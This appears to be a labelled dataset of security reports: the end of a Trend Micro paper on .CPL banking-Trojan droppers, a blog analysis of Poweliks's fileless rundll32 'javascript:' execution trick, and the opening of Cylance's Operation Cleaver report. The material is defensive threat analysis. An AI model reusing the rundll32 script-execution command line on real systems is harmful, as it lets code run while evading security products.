CPL_NEWINQUIRE startwparms CPL_STARTWPARMS Otherwise, cpload will send all messages to CPlApplet() All that\xe2\x80\x99s necessary is to call the CPlApplet function of a .CPL file sample to pass a message on. Another option is to debug the control.exe process to pass the .CPL file path as an argument as follows: control.exe myfile.cpl Trend Micro | CPL Malware 10 Cpload.exe calls the LoadLibrary and CPlApplet functions. You need to set the .CPL file path as an argument and set a breakpoint in LoadLibrary ASCII and Unicode calls (i.e., BP LoadLibraryA and LoadLibraryW, respectively). The following is an example that uses the OllyDbg Command Bar plug-in. Figure 8: Argument set as the .CPL file path with a breakpoint in LoadLibraryW Trend Micro | CPL Malware 11 How Cybercriminals Use .CPL Files .CPL files are very flexible. They can be used to host any sort of application, malicious or not. Cybercriminals take advantage of this to spread different kinds of malware. However, most CPL malware, especially in Brazil, appear to be banking Trojan droppers. Figure 9: Banking Trojan file types in Brazil, March\xe2\x80\x92November 2013 Trend Micro analyzed and now detects more than 4 million different malicious .CPL files via the Trend Micro\xe2\x84\xa2 Smart Protection Network\xe2\x84\xa2 infrastructure. Note the following interesting data on CPL malware from 2011 to 2013. Brazil \xe2\x80\xa2 First generic CPL malware detection: May 1, 2011 \xe2\x80\xa2 First CPL malware family identified: TROJ_SEFNIT6 \xe2\x80\xa2 First TROJ_BANLOAD sample identified: August 18, 2011 6 Trend Micro Incorporated. (2013). Threat Encyclopedia. \xe2\x80\x9cTROJ_SEFNIT.\xe2\x80\x9d Last accessed January 13, 2014, http://about-threats. trendmicro.com/Search.aspx?language=au&p=TROJ_SEFNIT. http://about-threats.trendmicro.com/Search.aspx?language=au&p=TROJ_SEFNIT http://about-threats.trendmicro.com/Search.aspx?language=au&p=TROJ_SEFNIT Trend Micro | CPL Malware 12 Figure 10: Number of CPL malware detections in Brazil from 2011 to 2013 Figure 11: CPL malware family distribution, excluding generic detections, in Brazil from 2011 to 2013 Trend Micro | CPL Malware 13 Worldwide \xe2\x80\xa2 First generic CPL malware detection: May 1, 2011 in Japan \xe2\x80\xa2 First CPL malware family identified: TROJ_KAZY in the U.S.7 \xe2\x80\xa2 Total number of CPL malware detections, including generic ones, from 2011 to 2013: 20,697,046 \xe2\x80\xa2 Number of CPL malware detections, excluding generic ones, from 2011 to 2013: 12,410,977 Figure 12: Number of CPL malware detections worldwide from 2011 to 2013 In one case, a file named \xe2\x80\x9cCobran\xc3\xa7a.cpl,\xe2\x80\x9d detected as TROJ_BANLOAD.KMZ, was downloaded onto computers after a link embedded in an email was clicked.8 The code inside the .CPL file dropped a file named \xe2\x80\x9ctaskhost.exe,\xe2\x80\x9d detected as TSPY_BANKER.WAV.9 This malware was then added to the Windows auto-start process and opened the Microsoft site. The next time an infected computer is rebooted, the banking Trojan is also executed. 7 Trend Micro Incorporated. (2013). Threat Encyclopedia. \xe2\x80\x9cTROJ_KAZY.\xe2\x80\x9d Last accessed January 13, 2014, http://about-threats. trendmicro.com/Search.aspx?language=au&p=TROJ_KAZY. 8 Trend Micro Incorporated. (2013). Threat Encyclopedia. \xe2\x80\x9cTROJ_BANLOAD.KMZ.\xe2\x80\x9d Last accessed January 13, 2014, http://about- threats.trendmicro.com/malware.aspx?language=au&name=TROJ_BANLOAD.KMZ. 9 Trend Micro Incorporated. (2013). Threat Encyclopedia. \xe2\x80\x9cTSPY_BANKER.WAV.\xe2\x80\x9d Last accessed January 13, 2014, http://about- threats.trendmicro.com/malware.aspx?language=au&name=TSPY_BANKER.WAV. http://about-threats.trendmicro.com/Search.aspx?language=au&p=TROJ_KAZY http://about-threats.trendmicro.com/Search.aspx?language=au&p=TROJ_KAZY http://about-threats.trendmicro.com/malware.aspx?language=au&name=TROJ_BANLOAD.KMZ http://about-threats.trendmicro.com/malware.aspx?language=au&name=TROJ_BANLOAD.KMZ http://about-threats.trendmicro.com/malware.aspx?language=au&name=TSPY_BANKER.WAV http://about-threats.trendmicro.com/malware.aspx?language=au&name=TSPY_BANKER.WAV Trend Micro | CPL Malware 14 Conclusion We have seen some malware outbreaks featuring .SCR, .VBS, and other file types in Brazil before. Right now, we are seeing a CPL malware outbreak in the country. As with any other type of malware, CPL Trojan infections can be prevented. Note the following .CPL file characteristics: \xe2\x80\xa2 .CPL files do not commonly spread throughout networks. \xe2\x80\xa2 Apart from Windows applications, some driver vendors also send .CPL files to get their applets onto the Windows Control Panel. \xe2\x80\xa2 The majority of malicious .CPL files that originated from Brazil appear to have been written using the Delphi programming language. \xe2\x80\xa2 CPL malware are mainly distributed compressed using the ZIP or RAR algorithm. These compressed files, however, normally only contain malicious .CPL files. Note though that they can be packed or encrypted when distributed. As shown, the situation is critical because the current number of malicious .CPL files is large and continues to constantly increase. Cybercriminals can do everything with .CPL files. They can be turned from droppers to rootkit installers. .CPL is, therefore, a flexible and reliable executable file format that we should worry about. Appendix OSs That Support .CPL File Execution \xe2\x80\xa2 Windows 2012 \xe2\x80\xa2 Windows 8 \xe2\x80\xa2 Windows 2008 \xe2\x80\xa2 Windows 7 \xe2\x80\xa2 Windows 2003 \xe2\x80\xa2 Windows Vista\xc2\xae \xe2\x80\xa2 Windows CE \xe2\x80\xa2 Windows 2000 \xe2\x80\xa2 Windows XP \xe2\x80\xa2 Windows ME \xe2\x80\xa2 Windows 98\xc2\xae \xe2\x80\xa2 Windows NT \xe2\x80\xa2 Windows 95\xc2\xae \xe2\x80\xa2 Windows 3.11 \xe2\x80\xa2 Windows 3.1 Trend Micro | CPL Malware 15 Top 20 Words Associated with CPL Banking Trojans 1. pdf 2. boleto (billet) 3. comprovante (receipt) 4. fiscal 5. nf (invoice) 6. nfe (electronic invoice) 7. nota (invoice) 8. visualizar (view) 9. dsc (commonly part of image file names like \xe2\x80\x9cDSC0001.jpg\xe2\x80\x9d) 10. eletronica (electronic) 11. anexo (attachment) 12. arqv (file) 13. fatura (bill) 14. deposito (deposit) 15. cheque (check) 16. via 17. cobranca (bill) 18. fotos (photos) 19. doc 20. comentariodevoz (voice comment) Trend Micro Incorporated, a global leader in security software, strives to make the world safe for exchanging digital information. Our innovative solutions for consumers, businesses and governments provide layered content security to protect information on mobile devices, endpoints, gateways, servers and the cloud. All of our solutions are powered by cloud-based global threat intelligence, the Trend Micro\xe2\x84\xa2 Smart Protection Network\xe2\x84\xa2, and are supported by over 1,200 threat experts around the globe. For more information, visit www.trendmicro.com. \xc2\xa92014 by Trend Micro, Incorporated. All rights reserved. Trend Micro and the Trend Micro t-ball logo are trademarks or registered trademarks of Trend Micro, Incorporated. All other product or company names may be trademarks or registered trademarks of their owners. 10101 N. De Anza Blvd. Cupertino, CA 95014 U.S. toll free: 1 +800.228.5651 Phone: 1 +408.257.1500 Fax: 1 +408.257.2003 http://www.trendmicro.com/us/index.html Introduction Attack Overview .CPL File Format .CPL Launch Process Analyzing .CPL Files Static Analysis Dynamic Analysis How Cybercriminals Use .CPL Files Brazil Worldwide Conclusion Appendix OSs That Support .CPL File Execution Top 20 Words Associated with CPL Banking Trojans","0","1","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Logo 20 Aug Poweliks \xe2\x80\x93 Command Line Confusion Posted at 16:46h in Technical Notes by Benkow_ 10 Comments Recently, hFireF0X provided a detailed walkthrough on the reverse engineering forum kernelmode.info about Win32/Poweliks malware. The particularity of this malware is that it resides in the Windows registry and uses rundll32.exe to execute JavaScript code. I found it funny that we can execute some JavaScript through Rundll32 and obviously I was not the only one. Capture d\xe2\x80\x99\xc3\xa9cran 2014-08-20 \xc3 15.57.26 When we first saw the command line executing JavaScript, we were wondering how it worked. In this blog post, we analyze how and why JavaScript is executed when calling this simple command line: rundll32.exe javascript:""\\..\\mshtml,RunHTMLApplication "";alert(\xe2\x80\x98foo\xe2\x80\x99); Reminder about Rundll32 Rundll32 usage is documented on MSDN; it is used to call an exported function of a DLL file which can be achieved with the following command line: RUNDLL32.EXE , entrypoint is the exported function; its prototype must be: void CALLBACK EntryPoint(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow); The lpszCmdLine parameter is given the value specified on the rundll32 command line. We will try to figure out how Rundll32 is able to call the function RunHTMLApplication exported by the library mshtml.dll and how the \xe2\x80\x9cjavascript:\xe2\x80\x9d prefix is used to execute actual JavaScript code. Analysis of Rundll32 PARAMETERS One of the first things done by Rundll32 is to parse the command line in the internal function ParseCommand. This function searches for a comma (\xe2\x80\x98,\xe2\x80\x99, 0x2C) to locate the DLL name and for a space (\xe2\x80\x98 \xe2\x80\x98, 0x20) to locate the entrypoint name. Capture d\xe2\x80\x99\xc3\xa9cran 2014-08-20 \xc3 16.00.23 When using our sample command line, ParseCommand returns javascript:""\\..\\mshtml as the DLL name and RunHTMLApplication as the entrypoint. In this context, the space after RunHTMLApplication delimits the \xe2\x80\x98optional arguments\xe2\x80\x99 part of the rundll32 command line: Capture d\xe2\x80\x99\xc3\xa9cran 2014-08-20 \xc3 16.01.37 DLL LOADER Rundll32 will perform several tries to load the actual DLL from the initial specification javascript:""\\..\\mshtml. The first test uses the function GetFileAttributes(\xe2\x80\x9cjavascript:\xe2\x80\x9d\\..\\mshtml\xe2\x80\x9d). This function eventually accesses C:\\Windows\\system32\\mshtml. As this file is not found, the function returns -1. Capture d\xe2\x80\x99\xc3\xa9cran 2014-08-20 \xc3 16.04.07 SearchPath is then invoked to resolve the DLL name. This function reads the registry key HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\SafeProcessSearchMode. The Microsoft definition of this key is: When the value of this REG_DWORD registry value is set to 1, SearchPath first searches the folders that are specified in the system path, and then searches the current working folder. When the value of this registry value is set to 0, the computer first searches the current working folder, and then searches the folders that are specified in the system path. The system default value for this registry key is 0. By default this registry key doesn\xe2\x80\x99t exist (on Windows XP / 7 / 8) so SearchPath tries to load the file mshtml in the current directory of rundll32 (c:\\windows\\system32) prior to trying locating it in the system path. Capture d\xe2\x80\x99\xc3\xa9cran 2014-08-20 \xc3 16.05.45 All these attempts fail and rundll32 moves to the next step. GetFileAttributes is called again searching for the manifest for the module: javascript:\xe2\x80\x9d\\..\\mshtml.manifest Capture d\xe2\x80\x99\xc3\xa9cran 2014-08-20 \xc3 16.07.09 Since all the previous steps failed, Rundll32 eventually calls LoadLibrary(""javascript:""\\..\\mshtml""). LoadLibrary is just a thin wrapper around LdrLoadDll located in ntdll.dll. Internally, LdrLoadDll adds the default extension .dll and parses the resulting string javascript:\xe2\x80\x9d\\..\\mshtml.dll as a path. The token .. instructs to go one folder up: it resolves to mshtml.dll (think of foo\\..\\mshtml.dll resolved as mshtml.dll). With mshtml.dll specification, LdrLoadDll is able to load the library in the system directory. Capture d\xe2\x80\x99\xc3\xa9cran 2014-08-20 \xc3 16.09.02 Rundll32 then calls GetProcAddress with the previously extracted entry point name RunHTMLApplication. For the moment, the javascript: prefix seems pretty useless: LoadLibrary(""foobar:\\""\\..\\mshtml"") works fine. So, why prefixing with javascript:? PROTOCOLS HANDLER Once the entry point address has been resolved, Rundll32 calls the function mshtml.dll!RunHTMLApplication. Even if not documented, the actual RunHTMLApplication can be inferred from the call made by c:\\windows\\system32\\mshta.exe (the application dedicated to launch an .hta file): HRESULT RunHTMLApplication( HINSTANCE hinst, HINSTANCE hPrevInst, LPSTR szCmdLine, int nCmdShow ); This is not far from the function prototype expected for a rundll32 entry point: void CALLBACK EntryPoint( HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow ); RunHTMLApplication receives a handle to a window instead of a handle to a module as the first parameter. This parameter is used when mshml registers for a window class and creates a window of this new class. Passing a value not corresponding to an actual instance doesn\xe2\x80\x99t seem to disturb user32 very much\xe2\x80\xa6 The second parameter is not used at all, so the mismatch is not important. The last parameter, nCmdShow, is used by the RunHTMLApplication function to display the window hosting the HTML application. Rundll32 always calls the entry point function with the value SW_SHOWDEFAULT to instruct any potential opened window to use window default placement. The main parameter of interest would be lpszCmdLine ("";alert('foo')) in our case. Capture d\xe2\x80\x99\xc3\xa9cran 2014-08-20 \xc3 16.16.36 This obviously leads to an issue since this is not a valid JavaScript statement (please note the missing double-quote at the end of the statement). But it works anyway, because RunHTMLApplication ignores the given parameter and prefers to request again the original command line from the GetCommandLine Windows API (wrapped in a call to the GetCmdLine function). Capture d\xe2\x80\x99\xc3\xa9cran 2014-08-20 \xc3 16.20.09 The full command line contains the name of the executable and the parameters: GetCmdLine extracts the parameters by cleaning up the executable specification: Capture d\xe2\x80\x99\xc3\xa9cran 2014-08-20 \xc3 16.23.29 After that, RunHTMLApplication calls CreateUrlMoniker: Capture d\xe2\x80\x99\xc3\xa9cran 2014-08-20 \xc3 16.25.04 This is where the string \xc2\xab javascript: \xc2\xbb is essential. CreateUrlMoniker parses the command line to extract the string before the char \xe2\x80\x9c:\xe2\x80\x9d (0x3A): \xe2\x80\x9cjavascript\xe2\x80\x9d. Capture d\xe2\x80\x99\xc3\xa9cran 2014-08-20 \xc3 16.28.27 CreateUrlMoniker crawls the registry key HKCR\\SOFTWARE\\Classes\\PROTOCOLS\\Handler\\. These keys refer to a set of protocols and their CLSID. CreateUrlMoniker finds an appropriate protocol handler for the JavaScript protocol (HKCR\\SOFTWARE\\Classes\\PROTOCOLS\\Handler\\javascript): Capture d\xe2\x80\x99\xc3\xa9cran 2014-08-20 \xc3 16.29.55 The CLSID {3050F3B2-98B5-11CF-BB82-00AA00BDCE0B} matches \xc2\xab Microsoft HTML Javascript Pluggable Protocol \xc2\xbb. Capture d\xe2\x80\x99\xc3\xa9cran 2014-08-20 \xc3 16.31.51 It is for this reason that the string \xe2\x80\x9cjavascript\xe2\x80\x9d is essential in the beginning of the parameters. The same mechanism comes into play when one types javascript:alert(\xe2\x80\x98foo\xe2\x80\x99); in the Internet Explorer navigation bar: Capture d\xe2\x80\x99\xc3\xa9cran 2014-08-20 \xc3 16.34.18 The remaining of the string located after the \xe2\x80\x98:\xe2\x80\x99 separator is interpreted by the JavaScript URL moniker as JavaScript instructions: ""\\..\\mshtml,RunHTMLApplication "";alert(\xe2\x80\x98foo\xe2\x80\x99); This is a valid JavaScript with a string ""\\..\\mshtml,RunHTMLApplication "" (hence the double-quotes skipped in all the previous steps!) and a function (alert). Finally RunHTMLApplication calls CHTMLApp::Run and the JavaScript is executed: Capture d\xe2\x80\x99\xc3\xa9cran 2014-08-20 \xc3 16.35.36 Security point From a security point of view, executing JavaScript through Rundll32 is like executing an HTML Application. In other words, we can have all the power of Internet Explorer\xe2\x80\x94its object model, performance, rendering power and protocol support\xe2\x80\x94without enforcing the strict security model and user interface of the browser. Zone security is off, and cross-domain script access is allowed, we have read/write access to the files and system registry on the client machine. With this trick, JavaScript is executed outside the Internet Explorer process and script is not subject to security concept like Protected Mode / Sandbox on Vista and superior. Conclusion RunHTMLApplication has the perfect prototype to work with Rundll32. Attackers have made great efforts to build a command line using the perfect syntax for passing through all the mechanisms (library loading, command line parsing, URL syntax correctness, valid JavaScript, etc.) leading to JavaScript execution in an uncontrolled environment. From our understanding, this technique allows bypassing some security products that may trust actions performed by the built-in rundll32 while specifying the script to run without writing any file on the file system. That\xe2\x80\x99s all folks! Tags: MALWARE POWELIKS WIN32 Share Print page1 Like Benoit Ancel Benoit.Ancel@Stormshield.Eu 10 Comments Mark Beihoffer Posted at 22:48h, 02 September REPLY I think I\xe2\x80\x99m going to have to go lie down after reading *this*. Every day I thank my lucky stars I am no longer a Windows systems administrator. I may have to inform some of my friends about the insightful comments you\xe2\x80\x99ve made here. They make future network architecture purchasing decisions & I do believe that their next round of investments will focus primarily on BSD systems, possibly augmented by Debian or Ubuntu machines. Thanks so much for your research. mbeihoffer Posted at 23:05h, 02 September REPLY Thanks for sharing this. I have to alert my friends about this, so they don\xe2\x80\x99t keep buying all these copies of Microsoft Windows Advanced Data Center Edition 768-core licenses. I mean, the first few times they cashed out our pension fund & laid off a third of the I.T. department, it was funny. But then spending all that pension money on some sort of weird Windows cluster running on a subterranean blade server farm, plus their propensity to spend a lot of time & money buying 32-core Oracle licenses, so it at least would *look* like they are busy doing something, well. After I left the industry I decided to take some time off. I don\xe2\x80\x99t have to maintain Windows systems any more in my new position, & even though I\xe2\x80\x99m not making the kind of money I did when I was a network architect, well. Articles like this one no longer give me heart palpitations & panic attacks, so that\xe2\x80\x99s a plus. On the other hand, I\xe2\x80\x99m continually surprised at how many friends & acquaintances I have that, although most of them are eager to switch to Mac OS X or Apple iOS devices, or in some cases, even seem excited about Ubuntu Linux & Debian GNU/Linux. It\xe2\x80\x99s just a really, really slow process. Anyway, thanks so much for the enlightening research & helpful article. It got me to thinking; maybe I should pick up one of my friend\xe2\x80\x99s $25.00 special, refurbished Windows 7 systems, complete with flat panel monitor & what-have-you. It would be fun to put it behind a transparent bridging OpenBSD firewall, & take advantage of _tcpdump_ & ettercap, pf, & so forth. Basically, I would be sacrificing the Windows machine by connecting it to the Internet, but since I\xe2\x80\x99d be able to sniff the network traffic & analyze the various infectious agents as they worked their way into the new machine. Sort of\xe2\x80\xa6 like an aquarium, for worms, viruses, backdoors, rootkits, dll injection attacks, privilege escalation attacks, & so forth. It would be the only Windows machine on the network, which is actually pretty comforting at this point, but I bet the various autonomous agents & R.A.T. ops would at least give me a little bit of entertainment as I futz with it. I always thought the best rootkits were developed in ObjectiveCaml, asm, & good old C, but I guess if rundll.32 & so forth are in to JavaScript now, well. Who am I to judge. Anyway, it\xe2\x80\x99s been fun reading your site, but I\xe2\x80\x99ve got to run now & see how my new GitHub repository is doing. Johnd61 Posted at 13:15h, 12 October REPLY Just wanna input on few general things, The website pattern is perfect, the subject material is real excellent. Believe those who are seeking the truth. Doubt those who find it. by Andre Gide. kegeedkkgdkc Pingback:\xe5\x88\x86\xe4\xba\xab\xe4\xb8\x80\xe4\xba\x9b\xe4\xb8\x8d\xe9\x94\x99\xe5\x9b\xbd\xe5\xa4\x96\xe6\x8a\x80\xe6\x9c\xaf\xe6\x96\x87\xe7\xab | \xe5\xae\x89\xe5 \xa8\xe7\x9b\x92\xe5\xad\x90 Posted at 11:23h, 29 December REPLY [\xe2\x80\xa6] poweliks command line confusion LINK [\xe2\x80\xa6] Pingback:JavaScript\xe5\x90\x8e\xe9\x97\xa8\xe6\xb7\xb1\xe5\xb1\x82\xe5\x88\x86\xe6\x9e\x90 | z7y Blog Posted at 05:00h, 12 January REPLY [\xe2\x80\xa6] links: http://thisissecurity.net/2014/08/20/poweliks-command-line-confusion/ [\xe2\x80\xa6] Pingback:JavaScript\xe5\x90\x8e\xe9\x97\xa8\xe6\xb7\xb1\xe5\xb1\x82\xe5\x88\x86\xe6\x9e\x90 | D \xe2\x80\x99 blog Posted at 00:32h, 16 January REPLY [\xe2\x80\xa6] links: http://thisissecurity.net/2014/08/20/poweliks-command-line-confusion/ [\xe2\x80\xa6] Pingback:Being Infected with Fileless Malware | . . TheSecurityBlogger . . . Posted at 18:18h, 27 May REPLY [\xe2\x80\xa6] loaded is actually javascript; this behavior is well documented for Poweliks such as in the article Poweliks \xe2\x80\x93 Command Line Confusion. Notice the activity following the LdrLoadDll function call is trying to locate the address for the [\xe2\x80\xa6] Pingback:\xe6\x8f\xad\xe7\xa7\x98\xe5\x9f\xba\xe4\xba\x8e\xe6\xb3\xa8\xe5\x86\x8c\xe8\xa1\xa8\xe9\x9a\x90\xe8\x97\x8f\xe7\x9a\x84\xe6\x97 \xe6\x96\x87\xe4\xbb\xb6\xe6\x94\xbb\xe5\x87\xbb | \xe5\xae\x89\xe5 \xa8\xe7\x9b\x92\xe5\xad\x90 Posted at 12:38h, 07 July REPLY [\xe2\x80\xa6] [1]https://thisissecurity.net/2014/08/20/poweliks-command-line-confusion/ [\xe2\x80\xa6] Pingback:\xe6\x8f\xad\xe7\xa7\x98\xe5\x9f\xba\xe4\xba\x8e\xe6\xb3\xa8\xe5\x86\x8c\xe8\xa1\xa8\xe9\x9a\x90\xe8\x97\x8f\xe7\x9a\x84\xe6\x97 \xe6\x96\x87\xe4\xbb\xb6\xe6\x94\xbb\xe5\x87\xbb | \xe7\xba\xa2\xe8\x89\xb2\xe6\x88\x98\xe7\xba\xbf Posted at 06:03h, 11 July REPLY [\xe2\x80\xa6] [1]https://thisissecurity.net/2014/08/20/poweliks-command-line-confusion/ [\xe2\x80\xa6] mywebsite Posted at 17:02h, 03 February REPLY I got this site from my friend who informed me about this site and now this time I am browsing this web site and reading very informative posts at this time. Post A Comment Write your comment here... Your full name E-mail address Website Save my name, email, and website in this browser for the next time I comment. This site uses Akismet to reduce spam. Learn how your comment data is processed. Read more THISISSECURITY In-depth Formbook malware analysis \xe2\x80\x93 Obfuscation and process injection 29 MARCH, 2018 | BY R\xc3\x89MI JULLIAN THISISSECURITY De-obfuscating Jump Chains with Binary Ninja 20 MARCH, 2018 | BY MEHDI TALBI THISISSECURITY Spot the Agent 02 MARCH, 2018 | BY COLDSHELL logo stormshield.comLegal Notice We use cookies to ensure that we give you the best experience on our website. If you continue to use this site we will assume that you are happy with it.Ok","0","1","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2ff 0476 f6f 4 #OPCLEAVER 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2 0476f6f64 OPERATION CLEAVER 2 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2 0476f6f64 \xe2\x80\x9cIran should be considered a first-tier cyber power.\xe2\x80\x9d Gabi Siboni Israel Institute for National Security Studies cybersecurity expert \xe2\x80\x9cIran has rapidly gained near parity with the Chinese but may be closer to the Russians in terms of swagger.\xe2\x80\x9d Retired Admiral William J. Fallon Former Commander CENTCOM \xe2\x80\x9cGlobal critical infrastructure organizations need to take this threat seriously. The Iranian adversary is real and they\xe2\x80\x99re coming, if not already here.\xe2\x80\x9d Mark Weatherford Former Deputy Under Secretary for Cybersecurity at the US Department of Homeland Security \xe2\x80\x9cYes, China and one or two others can shut down our power grids.\xe2\x80\x9d Admiral Michael Rogers Director of the National Security Agency and head of US Cyber Command \xe2\x80\x9cThe world has combated cyber threats by doing the same thing over and over again \xe2\x80\xa6 It\xe2\x80\x99s the definition of insanity.\xe2\x80\x9d Jeff Moss Co-Chair DHS Community Resiliency Task Force, Founder of DEFCON and BlackHat Jalal ad-Din Muhammad Rumi 13th Century Persian poet, jurist, theologian and Sufi mystic English translation: \xe2\x80\x9cSilence gives answers.\xe2\x80\x9d #OPCLEAVER 3 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2ff 0476 f6f 4 PREVENTION IS EVERYTHING A personal note from Cylance, CEO Stuart McClure On February 24, 1989, United Flight 811 left Honolulu, Hawaii, on its way to Auckland, New Zealand, with 364 souls on board. Somewhere between 23,000 and 24,000 feet an enormous explosion ejected nine passengers into the dark void over the Pacific Ocean.1 This aviation disaster was later determined to have been caused by a simple design flaw combined with the lack of corrective action. Boeing and the FAA had known about this problem for over one year prior to the accident. The result: nine people lost their lives. The other 337 passengers plus 18 crew members who survived, live with the memory every day; all of it due to a highly preventable design flaw. As a 19-year-old young adult, I was grateful to have survived but I had no idea how that single event would impact my future in such a profound way. Much of my passion for cybersecurity can be directly attributed to that fateful day. The United Flight 811 accident proves just how important it is to detect flaws before tragedy strikes. Preventable disasters like this are what motivates the Cylance team to create a safer world. We do everything we can to uncover the flaws in technologies before they damage the physical or cyber world. Our mission is simple: to protect the world. This report is an attempt to deliver on that mission. After tracking hackers both personally and professionally for more than 26 years, there is no doubt in my mind that the release of the information contained in the Operation Cleaver report is vital to the security of the world\xe2\x80\x99s critical infrastructure. The focus of the Operation Cleaver report is on one particular Iranian team we\xe2\x80\x99ve dubbed Tarh Andishan, the infrastructure they utilize, as well as their tactics, techniques and procedures. Roughly translated, \xe2\x80\x9cTarh Andishan\xe2\x80\x9d means \xe2\x80\x9cthinkers\xe2\x80\x9d or \xe2\x80\x9cinnovators\xe2\x80\x9d. This team displays an evolved skillset and uses a complex infrastructure to perform attacks of espionage, theft, and the potential destruction of control systems and networks. While our investigation is ongoing, and we presently have limited visibility inside many of the compromised networks, Cylance observed Tarh Andishan actively targeting, attacking, and compromising more than 50 victims since at least 2012. Cylance is committed to responsible disclosure and has refrained from exaggeration and embellishment in this report, limiting our content to only that which can be definitively confirmed. However, we have speculated on the possible motivations behind these attacks, given our deep knowledge and understanding of the cyber landscape. We have made every effort to notify all affected entities prior to publishing this report. Additionally, all personally identifiable information about the members of Operation Cleaver has been withheld. We don\xe2\x80\x99t care who the adversary is, where they work or reside, who they\xe2\x80\x99re dating or what party photos they upload to Facebook \xe2\x80\x93 all we care about is preventing campaigns like Operation Cleaver from negatively affecting the real world. This report is for the world\xe2\x80\x99s cyber defenders \xe2\x80\x93 never give up! Sincerely, Stuart McClure CEO/President Cylance, Inc. OPERATION CLEAVER 4 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2 0476f6f64 TABLE OF CONTENTS Executive Summary ......................................................................... Background ........................................................................................ Why the name \xe2\x80\x9cCleaver\xe2\x80\x9d? ............................................................. Why Expose Iran Now? .................................................................. Critical Discoveries ......................................................................... Targets & Victims ............................................................................ Attribution ......................................................................................... Attacker IP Addresses .............................................................. Attacker Domains ...................................................................... Tools & Software ........................................................................ Tarh Andishan ............................................................................ Members ...................................................................................... Teams ............................................................................................ Tactics, Techniques & Procedures (TTPs) ............................... Initial Compromise ..................................................................... Privilege Escalation & Pivoting ............................................... Exfiltration .................................................................................... Persistence .................................................................................. Mitigation .......................................................................................... Speculation: The Why ................................................................... Conclusion ........................................................................................ References ........................................................................................ About Cylance ................................................................................. Cylance Products ........................................................................... Cylance Services ............................................................................ Acknowledgments ...................................................................... The Operation Cleaver Logo ...................................................... Appendix A: Indicators of Compromise (IOC) ........................ 5 6 8 8 9 12 17 18 19 20 24 26 30 31 32 36 41 47 60 62 65 67 68 69 70 71 72 73 #OPCLEAVER 5 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2ff 0476 f6f 4 EXECUTIVE SUMMARY Since at least 2012, Iranian actors have directly attacked, established persistence in, and extracted highly sensitive materials from the networks of government agencies and major critical infrastructure companies in the following countries: Canada, China, England, France, Germany, India, Israel, Kuwait, Mexico, Pakistan, Qatar, Saudi Arabia, South Korea, Turkey, United Arab Emirates, and the United States. Iran is the new China. Operation Cleaver has, over the past several years, conducted a significant global surveillance and infiltration campaign. To date it has successfully evaded detection by existing security technologies. The group is believed to work from Tehran, Iran, although auxiliary team members were identified in other locations including the Netherlands, Canada, and the UK. The group successfully leveraged both publicly available, and customized tools to attack and compromise targets around the globe. The targets include military, oil and gas, energy and utilities, transportation, airlines, airports, hospitals, telecommunications, technology, education, aerospace, Defense Industrial Base (DIB), chemical companies, and governments. During intense intelligence gathering over the last 24 months, we observed the technical capabilities of the Operation Cleaver team rapidly evolve faster than any previously observed Iranian effort. As Iran\xe2\x80\x99s cyber warfare capabilities continue to morph,2 the probability of an attack that could impact the physical world at a national or global level is rapidly increasing.3 Their capabilities have advanced beyond simple website defacements, Distributed Denial of Service (DDoS) attacks, and Hacking Exposed style techniques. With minimal separation between private companies and the Iranian government, their modus operandi seems clear: blur the line between legitimate engineering companies and state- sponsored cyber hacking teams to establish a foothold in the world\xe2\x80\x99s critical infrastructure. Iran\xe2\x80\x99s rising expertise, along with their choice of victims, has compelled us to release this report sooner than we would have liked in order to expose Operation Cleaver to the world. The evidence and indicators of compromise we provide in this report will allow potentially unaware victims to detect and eliminate Cleaver\xe2\x80\x99s incursions into their networks. OPERATION CLEAVER 6 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2 0476f6f64 BACKGROUND Iran has been severely impacted by debilitating and extremely advanced malware campaigns since at least 2009. Famous examples of these efforts include industrial sabotage via Stuxnet (2009 - 2010), and espionage with Duqu (2009 - 2011) as well as Flame (2012). These campaigns have targeted Iran\xe2\x80\x99s nuclear program, and oil and gas operations. Stuxnet was an eye-opening event for Iranian authorities, exposing them to the world of physical destruction via electronic means. Hacking campaigns sourced out of Iran are nothing new. Since the early 2000\xe2\x80\x99s, the information security industry as a whole has tracked teams like the Iranian Cyber Army, which mainly focuses on patriotic hacking (website defacements). After the release of Stuxnet, 